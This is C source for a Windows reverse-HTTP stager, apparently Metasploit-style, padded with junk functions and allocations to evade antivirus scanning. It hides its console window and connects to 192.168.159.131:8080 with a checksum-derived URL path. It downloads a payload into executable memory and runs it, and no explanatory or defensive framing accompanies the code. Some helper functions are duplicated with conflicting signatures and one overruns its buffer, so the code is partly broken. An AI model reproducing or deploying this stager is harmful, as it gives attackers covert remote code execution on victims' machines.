#define _WIN32_WINNT 0x0500
#pragma comment(lib, "Ws2_32.lib")
#include <winsock2.h>
#include <time.h>
#include <time.h>
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
char* Name2(char* s)
{
  char *result =   (char *)malloc(strlen(s)*2+1);
  unsigned int i;
  for (i=0; i<strlen(s)*2+1; i++)
  {
    result[i] = s[i/2];
    result[i+1]=s[i/2];
  }
  result[i] = '\0';
  return result;
}
 
char* Name1(const char *t)
{
  int length= strlen(t);
  char* t2 = (char*)malloc((length+1) * sizeof(char));
  int i;
  for(i=0;i<length;i++)
  {
    t2[(length-1)-i]=t[i];
  }
  t2[length] = '\0';
  return t2;
}
 
int sumvalue(char string_arg[])
{
  int retval=0;
  unsigned int i;
  for (i=0; i<strlen(string_arg);++i)
    retval += string_arg[i];
  return (retval % 256);
}
 
void winsock_init()
{
  WORD wVersionRequested = MAKEWORD((0*4+2), (0*4+2));
  WSADATA wsaData;
  if (WSAStartup(wVersionRequested, &wsaData) < 0)
  {
    WSACleanup();
    exit(1);
  }
}
 
char* Name1()
{
  char *Var1 = Name2("String1");
  return strstr( Var1, "i" );
}
 
void punt(SOCKET my_socket)
{
  closesocket(my_socket);
  WSACleanup();
  exit(1);
}
 
char* Name2()
{
  char Var2[9509], Var3[9509/2];
  strcpy(Var2,"kaJYJXmReftagATDFOufqYAGQRnBQtXMmXKQmkCvOzNrkKTARk");
  strcpy(Var3,"CmSLJRpqtBItijCukAADNDkwhLdUHHEzzjCNwrFPHinTjiWhBm");
  return Name1(strcat( Var2, Var3));
}
 
char* checksum()
{
  srand (time(NULL));
  int i;
  char characters[] = "S3bwPoskmAy2zCBLxI089eGNEv6FMYZc74QnrljgUtiTahuJKfXqOpRDW1VdH5";
  char* string_var = (char*)malloc(5);
  string_var[4] = 0;
  while (1<2)
  {
    for(i=0;i<3;++i)
    {
      string_var[i] = characters[rand() % (sizeof(characters)-1)];
    }
    for(i=0;i<sizeof(characters);i++)
    {
      string_var[3] = characters[i];
      if (sumvalue(string_var) == 92) return string_var;
    }
  }
  return 0;
 
}
char* Name3()
{
  char Var4[9509] = "ZcFFymUJbCDPZbeUvuOMXuZwmNpZEpMwpnKvyfEqXUyfHJVmxp";
  char *Var5 = strupr(Var4);
  return strlwr(Var5);
}
 
SOCKET wsconnect()
{
  struct hostent * target;
  struct sockaddr_in sock;
  SOCKET my_socket;
  my_socket = socket(AF_INET, SOCK_STREAM, 0);
  if (my_socket == INVALID_SOCKET)
    punt(my_socket);
  target = gethostbyname("192.168.159.131");//rev_http IP
  if (target == NULL)
    punt(my_socket);
  memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
  sock.sin_family = AF_INET;
  sock.sin_port = htons(8080);//rev_http Port
  if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
    punt(my_socket);
  return my_socket;
}
 
int main(int argc, char * argv[])
{
  HWND hwnd=GetForegroundWindow();
  ShowWindow(hwnd,SW_HIDE);
  char * buffer;
  int i;
  char* char_array1[8776];
  for (i = 0;  i < 8776;  ++i)
    char_array1[i] = (char*)malloc (9719);
  winsock_init();
  char* char_array2[118];
  SOCKET my_socket = wsconnect();
  for (i = 0;  i < 118;  ++i)
    char_array2[i] = (char*)malloc (9721);
  char request_buf[200];
  sprintf(request_buf, "GET /%s HTTP/1.1\r\nAccept-Encoding: identity\r\nHost:  192.168.159.131:8080\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\r\n\r\n", checksum());
  send(my_socket,request_buf, strlen( request_buf ),0);
  Sleep(300);
  buffer = (char*)VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  char* char_array3[8279];
  for (i=0; i<8776; ++i)
  {
    strcpy(char_array1[i], Name1());
  }
  char * buf_counter = buffer;
  int bytes_read;
  do
  {
    bytes_read = recv(my_socket, buf_counter, 1024, 0);
    buf_counter += bytes_read;
  }
  while ( bytes_read > 0 );
  for (i = 0;  i < 8279;  ++i)
    char_array3[i] = (char*)malloc (9549);
  for (i=0; i<118; ++i)
  {
    strcpy(char_array2[i], Name2());
  }
  closesocket(my_socket);
  WSACleanup();
  ((void (*)())(strstr(buffer,"\r\n\r\n")+4))();
  for (i=0; i<8279; ++i)
  {
    strcpy(char_array3[i], Name3());
  }
  return 0;
}